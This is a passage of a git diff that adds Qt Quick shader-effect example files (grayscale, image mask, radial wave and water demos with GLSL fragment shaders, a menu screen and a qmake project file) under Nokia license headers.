+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import Qt.labs.shaders 1.0
+
+Item {
+ id: main
+ anchors.fill: parent
+
+ GrayscaleEffect {
+ id: layer
+ anchors.fill: parent
+
+ source: ShaderEffectSource {
+ sourceItem: Image { source: "images/desaturate.jpg" }
+ live: false
+ hideSource: true
+ }
+
+ SequentialAnimation on ratio {
+ id: ratioAnimation
+ running: true
+ loops: Animation.Infinite
+ NumberAnimation {
+ easing.type: Easing.Linear
+ to: 0.0
+ duration: 1500
+ }
+ PauseAnimation { duration: 1000 }
+ NumberAnimation {
+ easing.type: Easing.Linear
+ to: 1.0
+ duration: 1500
+ }
+ PauseAnimation { duration: 1000 }
+ }
+ }
+}
diff --git a/examples/declarative/shadereffects/qml/shadereffects/GrayscaleEffect.qml b/examples/declarative/shadereffects/qml/shadereffects/GrayscaleEffect.qml
new file mode 100644
index 00000000..fcf75776
--- /dev/null
+++ b/examples/declarative/shadereffects/qml/shadereffects/GrayscaleEffect.qml
@@ -0,0 +1,62 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import Qt.labs.shaders 1.0
+
+ShaderEffectItem {
+ id: effect
+ property real ratio: 1.0
+ property variant source: 0
+
+ fragmentShader:
+ "
+ varying highp vec2 qt_TexCoord0;
+ uniform sampler2D source;
+ uniform highp float ratio;
+ void main(void)
+ {
+ lowp vec4 textureColor = texture2D(source, qt_TexCoord0.st);
+ lowp float gray = dot(textureColor, vec4(0.299, 0.587, 0.114, 0.0));
+ gl_FragColor = vec4(gray * ratio + textureColor.r * (1.0 - ratio), gray * ratio + textureColor.g * (1.0 - ratio), gray * ratio + textureColor.b * (1.0 - ratio), textureColor.a);
+ }
+ "
+}
diff --git a/examples/declarative/shadereffects/qml/shadereffects/ImageMask.qml b/examples/declarative/shadereffects/qml/shadereffects/ImageMask.qml
new file mode 100644
index 00000000..c386daac
--- /dev/null
+++ b/examples/declarative/shadereffects/qml/shadereffects/ImageMask.qml
@@ -0,0 +1,143 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import Qt.labs.shaders 1.0
+
+Item {
+ anchors.fill: parent
+
+ Image {
+ id: bg
+ anchors.fill: parent
+ source: "images/image2.jpg"
+ }
+
+ Item {
+ id: mask
+ anchors.fill: parent
+
+ Text {
+ text: "Mask text"
+ font.pixelSize: 50
+ font.bold: true
+ anchors.horizontalCenter: parent.horizontalCenter
+
+ NumberAnimation on rotation {
+ running: true
+ loops: Animation.Infinite
+ from: 0
+ to: 360
+ duration: 3000
+ }
+
+ SequentialAnimation on y {
+ running: true
+ loops: Animation.Infinite
+ NumberAnimation {
+ to: main.height
+ duration: 3000
+ }
+ NumberAnimation {
+ to: 0
+ duration: 3000
+ }
+ }
+ }
+
+ Rectangle {
+ id: opaqueBox
+ width: 60
+ height: parent.height
+ SequentialAnimation on x {
+ running: true
+ loops: Animation.Infinite
+ NumberAnimation {
+ to: main.width
+ duration: 2000
+ easing.type: Easing.InOutCubic
+ }
+ NumberAnimation {
+ to: 0
+ duration: 2000
+ easing.type: Easing.InOutCubic
+ }
+ }
+ }
+
+ Rectangle {
+ width: 100
+ opacity: 0.5
+ height: parent.height
+ SequentialAnimation on x {
+ PauseAnimation { duration: 100 }
+
+ SequentialAnimation {
+ loops: Animation.Infinite
+ NumberAnimation {
+ to: main.width
+ duration: 2000
+ easing.type: Easing.InOutCubic
+ }
+ NumberAnimation {
+ to: 0
+ duration: 2000
+ easing.type: Easing.InOutCubic
+ }
+ }
+ }
+ }
+ }
+
+ ImageMaskEffect {
+ anchors.fill: parent
+ image: ShaderEffectSource {
+ sourceItem: Image { source: "images/image1.jpg" }
+ live: false
+ hideSource: true
+ }
+ mask: ShaderEffectSource {
+ sourceItem: mask
+ live: true
+ hideSource: true
+ }
+ }
+}
diff --git a/examples/declarative/shadereffects/qml/shadereffects/ImageMaskEffect.qml b/examples/declarative/shadereffects/qml/shadereffects/ImageMaskEffect.qml
new file mode 100644
index 00000000..6649b175
--- /dev/null
+++ b/examples/declarative/shadereffects/qml/shadereffects/ImageMaskEffect.qml
@@ -0,0 +1,60 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import Qt.labs.shaders 1.0
+
+ShaderEffectItem {
+ id: effect
+ property variant image: 0
+ property variant mask: 0
+
+ fragmentShader:
+ "
+ varying highp vec2 qt_TexCoord0;
+ uniform sampler2D image;
+ uniform sampler2D mask;
+ void main(void)
+ {
+ gl_FragColor = texture2D(image, qt_TexCoord0.st) * (texture2D(mask, qt_TexCoord0.st).a);
+ }
+ "
+}
diff --git a/examples/declarative/shadereffects/qml/shadereffects/RadialWave.qml b/examples/declarative/shadereffects/qml/shadereffects/RadialWave.qml
new file mode 100644
index 00000000..23d3ba2d
--- /dev/null
+++ b/examples/declarative/shadereffects/qml/shadereffects/RadialWave.qml
@@ -0,0 +1,85 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import Qt.labs.shaders 1.0
+
+Item {
+ id: main
+ anchors.fill: parent
+
+ ShaderEffectSource {
+ id: thesource
+ sourceItem: Image { source: "images/wave.jpg" }
+ live: false
+ hideSource: true
+ }
+
+ RadialWaveEffect {
+ id: layer
+ anchors.fill: parent;
+ source: thesource
+
+ wave: 0.0
+ waveOriginX: 0.5
+ waveOriginY: 0.5
+ waveWidth: 0.01
+
+ NumberAnimation on wave {
+ id: waveAnim
+ running: true
+ loops: Animation.Infinite
+ easing.type: "Linear"
+ from: 0.0000; to: 2.0000;
+ duration: 2500
+ }
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onPressed: {
+ waveAnim.stop()
+ layer.waveOriginX = mouseX / main.width
+ layer.waveOriginY = mouseY / main.height
+ waveAnim.start()
+ }
+ }
+}
diff --git a/examples/declarative/shadereffects/qml/shadereffects/RadialWaveEffect.qml b/examples/declarative/shadereffects/qml/shadereffects/RadialWaveEffect.qml
new file mode 100644
index 00000000..f5127d1e
--- /dev/null
+++ b/examples/declarative/shadereffects/qml/shadereffects/RadialWaveEffect.qml
@@ -0,0 +1,81 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import Qt.labs.shaders 1.0
+
+ShaderEffectItem {
+ id: effect
+
+ property real wave: 0.3
+ property real waveOriginX: 0.5
+ property real waveOriginY: 0.5
+ property real waveWidth: 0.01
+ property real aspectRatio: width/height
+ property variant source: 0
+
+ fragmentShader:
+ "
+ varying mediump vec2 qt_TexCoord0;
+ uniform sampler2D source;
+ uniform highp float wave;
+ uniform highp float waveWidth;
+ uniform highp float waveOriginX;
+ uniform highp float waveOriginY;
+ uniform highp float aspectRatio;
+
+ void main(void)
+ {
+ mediump vec2 texCoord2 = qt_TexCoord0;
+ mediump vec2 origin = vec2(waveOriginX, (1.0 - waveOriginY) / aspectRatio);
+
+ highp float fragmentDistance = distance(vec2(texCoord2.s, texCoord2.t / aspectRatio), origin);
+ highp float waveLength = waveWidth + fragmentDistance * 0.25;
+
+ if ( fragmentDistance > wave && fragmentDistance < wave + waveLength) {
+ highp float distanceFromWaveEdge = min(abs(wave - fragmentDistance), abs(wave + waveLength - fragmentDistance));
+ texCoord2 += sin(1.57075 * distanceFromWaveEdge / waveLength) * distanceFromWaveEdge * 0.08 / fragmentDistance;
+ }
+
+ gl_FragColor = texture2D(source, texCoord2.st);
+ }
+ "
+}
diff --git a/examples/declarative/shadereffects/qml/shadereffects/Water.qml b/examples/declarative/shadereffects/qml/shadereffects/Water.qml
new file mode 100644
index 00000000..30cf61a7
--- /dev/null
+++ b/examples/declarative/shadereffects/qml/shadereffects/Water.qml
@@ -0,0 +1,60 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import Qt.labs.shaders 1.0
+
+Item {
+ anchors.fill: parent
+
+ Image {
+ id: image
+ width: parent.width
+ height: parent.height * 0.65
+ source: "images/sky.jpg"
+ smooth: true
+ }
+ WaterEffect {
+ sourceItem: image
+ intensity: 5
+ height: parent.height - image.height
+ }
+}
diff --git a/examples/declarative/shadereffects/qml/shadereffects/WaterEffect.qml b/examples/declarative/shadereffects/qml/shadereffects/WaterEffect.qml
new file mode 100644
index 00000000..661c34e7
--- /dev/null
+++ b/examples/declarative/shadereffects/qml/shadereffects/WaterEffect.qml
@@ -0,0 +1,126 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import Qt.labs.shaders 1.0
+
+Item {
+ id: root
+ property alias sourceItem: effectsource.sourceItem
+ property real intensity: 1
+ property bool waving: true
+ anchors.top: sourceItem.bottom
+ width: sourceItem.width
+ height: sourceItem.height
+
+ ShaderEffectItem {
+ anchors.fill: parent
+ property variant source: effectsource
+ property real f: 0
+ property real f2: 0
+ property alias intensity: root.intensity
+ smooth: true
+
+ ShaderEffectSource {
+ id: effectsource
+ hideSource: false
+ smooth: true
+ }
+
+ fragmentShader:
+ "
+ varying highp vec2 qt_TexCoord0;
+ uniform sampler2D source;
+ uniform lowp float qt_Opacity;
+ uniform highp float f;
+ uniform highp float f2;
+ uniform highp float intensity;
+
+ void main() {
+ const highp float twopi = 3.141592653589 * 2.0;
+
+ highp float distanceFactorToPhase = pow(qt_TexCoord0.y + 0.5, 8.0) * 5.0;
+ highp float ofx = sin(f * twopi + distanceFactorToPhase) / 100.0;
+ highp float ofy = sin(f2 * twopi + distanceFactorToPhase * qt_TexCoord0.x) / 60.0;
+
+ highp float intensityDampingFactor = (qt_TexCoord0.x + 0.1) * (qt_TexCoord0.y + 0.2);
+ highp float distanceFactor = (1.0 - qt_TexCoord0.y) * 4.0 * intensity * intensityDampingFactor;
+
+ ofx *= distanceFactor;
+ ofy *= distanceFactor;
+
+ highp float x = qt_TexCoord0.x + ofx;
+ highp float y = 1.0 - qt_TexCoord0.y + ofy;
+
+ highp float fake = (sin((ofy + ofx) * twopi) + 0.5) * 0.05 * (1.2 - qt_TexCoord0.y) * intensity * intensityDampingFactor;
+
+ highp vec4 pix =
+ texture2D(source, vec2(x, y)) * 0.6 +
+ texture2D(source, vec2(x-fake, y)) * 0.15 +
+ texture2D(source, vec2(x, y-fake)) * 0.15 +
+ texture2D(source, vec2(x+fake, y)) * 0.15 +
+ texture2D(source, vec2(x, y+fake)) * 0.15;
+
+ highp float darken = 0.6 - (ofx - ofy) / 2.0;
+ pix.b *= 1.2 * darken;
+ pix.r *= 0.9 * darken;
+ pix.g *= darken;
+
+ gl_FragColor = qt_Opacity * vec4(pix.r, pix.g, pix.b, 1.0);
+ }
+ "
+
+ NumberAnimation on f {
+ running: root.waving
+ loops: Animation.Infinite
+ from: 0
+ to: 1
+ duration: 2410
+ }
+ NumberAnimation on f2 {
+ running: root.waving
+ loops: Animation.Infinite
+ from: 0
+ to: 1
+ duration: 1754
+ }
+ }
+}
diff --git a/examples/declarative/shadereffects/qml/shadereffects/images/Curtain.jpg b/examples/declarative/shadereffects/qml/shadereffects/images/Curtain.jpg
new file mode 100644
index 00000000..40003cbb
--- /dev/null
+++ b/examples/declarative/shadereffects/qml/shadereffects/images/Curtain.jpg
Binary files differ
diff --git a/examples/declarative/shadereffects/qml/shadereffects/images/DropShadow.jpg b/examples/declarative/shadereffects/qml/shadereffects/images/DropShadow.jpg
new file mode 100644
index 00000000..c1e693a5
--- /dev/null
+++ b/examples/declarative/shadereffects/qml/shadereffects/images/DropShadow.jpg
Binary files differ
diff --git a/examples/declarative/shadereffects/qml/shadereffects/images/Grayscale.jpg b/examples/declarative/shadereffects/qml/shadereffects/images/Grayscale.jpg
new file mode 100644
index 00000000..c95cab47
--- /dev/null
+++ b/examples/declarative/shadereffects/qml/shadereffects/images/Grayscale.jpg
Binary files differ
diff --git a/examples/declarative/shadereffects/qml/shadereffects/images/ImageMask.jpg b/examples/declarative/shadereffects/qml/shadereffects/images/ImageMask.jpg
new file mode 100644
index 00000000..0da4c0da
--- /dev/null
+++ b/examples/declarative/shadereffects/qml/shadereffects/images/ImageMask.jpg
Binary files differ
diff --git a/examples/declarative/shadereffects/qml/shadereffects/images/RadialWave.jpg b/examples/declarative/shadereffects/qml/shadereffects/images/RadialWave.jpg
new file mode 100644
index 00000000..fc51efcc
--- /dev/null
+++ b/examples/declarative/shadereffects/qml/shadereffects/images/RadialWave.jpg
Binary files differ
diff --git a/examples/declarative/shadereffects/qml/shadereffects/images/Water.jpg b/examples/declarative/shadereffects/qml/shadereffects/images/Water.jpg
new file mode 100644
index 00000000..38615c13
--- /dev/null
+++ b/examples/declarative/shadereffects/qml/shadereffects/images/Water.jpg
Binary files differ
diff --git a/examples/declarative/shadereffects/qml/shadereffects/images/back.png b/examples/declarative/shadereffects/qml/shadereffects/images/back.png
new file mode 100644
index 00000000..5dd3d226
--- /dev/null
+++ b/examples/declarative/shadereffects/qml/shadereffects/images/back.png
Binary files differ
diff --git a/examples/declarative/shadereffects/qml/shadereffects/images/bg.jpg b/examples/declarative/shadereffects/qml/shadereffects/images/bg.jpg
new file mode 100644
index 00000000..4d221438
--- /dev/null
+++ b/examples/declarative/shadereffects/qml/shadereffects/images/bg.jpg
Binary files differ
diff --git a/examples/declarative/shadereffects/qml/shadereffects/images/desaturate.jpg b/examples/declarative/shadereffects/qml/shadereffects/images/desaturate.jpg
new file mode 100644
index 00000000..e5e99bb9
--- /dev/null
+++ b/examples/declarative/shadereffects/qml/shadereffects/images/desaturate.jpg
Binary files differ
diff --git a/examples/declarative/shadereffects/qml/shadereffects/images/drop_shadow.png b/examples/declarative/shadereffects/qml/shadereffects/images/drop_shadow.png
new file mode 100644
index 00000000..144c02d5
--- /dev/null
+++ b/examples/declarative/shadereffects/qml/shadereffects/images/drop_shadow.png
Binary files differ
diff --git a/examples/declarative/shadereffects/qml/shadereffects/images/fabric.jpg b/examples/declarative/shadereffects/qml/shadereffects/images/fabric.jpg
new file mode 100644
index 00000000..ab654093
--- /dev/null
+++ b/examples/declarative/shadereffects/qml/shadereffects/images/fabric.jpg
Binary files differ
diff --git a/examples/declarative/shadereffects/qml/shadereffects/images/flower.png b/examples/declarative/shadereffects/qml/shadereffects/images/flower.png
new file mode 100644
index 00000000..144c02d5
--- /dev/null
+++ b/examples/declarative/shadereffects/qml/shadereffects/images/flower.png
Binary files differ
diff --git a/examples/declarative/shadereffects/qml/shadereffects/images/image1.jpg b/examples/declarative/shadereffects/qml/shadereffects/images/image1.jpg
new file mode 100644
index 00000000..3442e775
--- /dev/null
+++ b/examples/declarative/shadereffects/qml/shadereffects/images/image1.jpg
Binary files differ
diff --git a/examples/declarative/shadereffects/qml/shadereffects/images/image2.jpg b/examples/declarative/shadereffects/qml/shadereffects/images/image2.jpg
new file mode 100644
index 00000000..23e5c5c1
--- /dev/null
+++ b/examples/declarative/shadereffects/qml/shadereffects/images/image2.jpg
Binary files differ
diff --git a/examples/declarative/shadereffects/qml/shadereffects/images/qt-logo.png b/examples/declarative/shadereffects/qml/shadereffects/images/qt-logo.png
new file mode 100644
index 00000000..41a304b4
--- /dev/null
+++ b/examples/declarative/shadereffects/qml/shadereffects/images/qt-logo.png
Binary files differ
diff --git a/examples/declarative/shadereffects/qml/shadereffects/images/shader_effects.jpg b/examples/declarative/shadereffects/qml/shadereffects/images/shader_effects.jpg
new file mode 100644
index 00000000..19e8a399
--- /dev/null
+++ b/examples/declarative/shadereffects/qml/shadereffects/images/shader_effects.jpg
Binary files differ
diff --git a/examples/declarative/shadereffects/qml/shadereffects/images/sky.jpg b/examples/declarative/shadereffects/qml/shadereffects/images/sky.jpg
new file mode 100644
index 00000000..8fc19ed1
--- /dev/null
+++ b/examples/declarative/shadereffects/qml/shadereffects/images/sky.jpg
Binary files differ
diff --git a/examples/declarative/shadereffects/qml/shadereffects/images/toolbar.png b/examples/declarative/shadereffects/qml/shadereffects/images/toolbar.png
new file mode 100644
index 00000000..773e3ea1
--- /dev/null
+++ b/examples/declarative/shadereffects/qml/shadereffects/images/toolbar.png
Binary files differ
diff --git a/examples/declarative/shadereffects/qml/shadereffects/images/wave.jpg b/examples/declarative/shadereffects/qml/shadereffects/images/wave.jpg
new file mode 100644
index 00000000..c8083bba
--- /dev/null
+++ b/examples/declarative/shadereffects/qml/shadereffects/images/wave.jpg
Binary files differ
diff --git a/examples/declarative/shadereffects/qml/shadereffects/main.qml b/examples/declarative/shadereffects/qml/shadereffects/main.qml
new file mode 100644
index 00000000..01b9ee8d
--- /dev/null
+++ b/examples/declarative/shadereffects/qml/shadereffects/main.qml
@@ -0,0 +1,160 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import Qt.labs.shaders 1.0
+
+Item {
+ id: main
+ width: 360
+ height: 640
+
+ Rectangle {
+ anchors.fill: parent
+ color: "black"
+ }
+
+ Image {
+ id: header
+ source: "images/shader_effects.jpg"
+ }
+
+ ListModel {
+ id: demoModel
+ ListElement { name: "ImageMask" }
+ ListElement { name: "RadialWave" }
+ ListElement { name: "Water" }
+ ListElement { name: "Grayscale" }
+ ListElement { name: "DropShadow" }
+ ListElement { name: "Curtain" }
+ }
+
+ Grid {
+ id: menuGrid
+ anchors.top: header.bottom
+ anchors.bottom: toolbar.top
+ width: parent.width
+ columns: 2
+ Repeater {
+ model: demoModel
+ Item {
+ width: main.width / 2
+ height: menuGrid.height / 3
+ clip: true
+ Image {
+ width: parent.width
+ height: width
+ source: "images/" + name + ".jpg"
+ opacity: mouseArea.pressed ? 0.6 : 1.0
+ }
+ MouseArea {
+ id: mouseArea
+ anchors.fill: parent
+ onClicked: {
+ demoLoader.source = name + ".qml"
+ main.state = "showDemo"
+ }
+ }
+ }
+ }
+ }
+
+ Loader {
+ anchors.fill: parent
+ id: demoLoader
+ visible: false
+ Behavior on opacity {
+ NumberAnimation { duration: 300 }
+ }
+ }
+
+ Image {
+ id: toolbar
+ source: "images/toolbar.png"
+ width: parent.width
+ anchors.bottom: parent.bottom
+ }
+
+ Rectangle {
+ id: translucentToolbar
+ color: "black"
+ opacity: 0.3
+ anchors.fill: toolbar
+ visible: !toolbar.visible
+ }
+
+ Item {
+ height: toolbar.height
+ width: height
+ anchors.bottom: parent.bottom
+
+ Image {
+ source: "images/back.png"
+ anchors.centerIn: parent
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: {
+ if (main.state == "") Qt.quit(); else {
+ main.state = ""
+ demoLoader.source = ""
+ }
+ }
+ }
+ }
+
+ states: State {
+ name: "showDemo"
+ PropertyChanges {
+ target: menuGrid
+ visible: false
+ }
+ PropertyChanges {
+ target: demoLoader
+ visible: true
+ }
+ PropertyChanges {
+ target: toolbar
+ visible: false
+ }
+ }
+}
diff --git a/examples/declarative/shadereffects/shadereffects.pro b/examples/declarative/shadereffects/shadereffects.pro
new file mode 100644
index 00000000..58e7ab7d
--- /dev/null
+++ b/examples/declarative/shadereffects/shadereffects.pro
@@ -0,0 +1,46 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/shadereffects
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+symbian:TARGET.UID3 = 0xE1CB8EBB
+
+# Smart Installer package's UID
+# This UID is from the protected range and therefore the package will
+# fail to install if self-signed. By default qmake uses the unprotected
+# range value if unprotected UID is defined for the application and
+# 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Allow network access on Symbian
+symbian:TARGET.CAPABILITY += NetworkServices
+
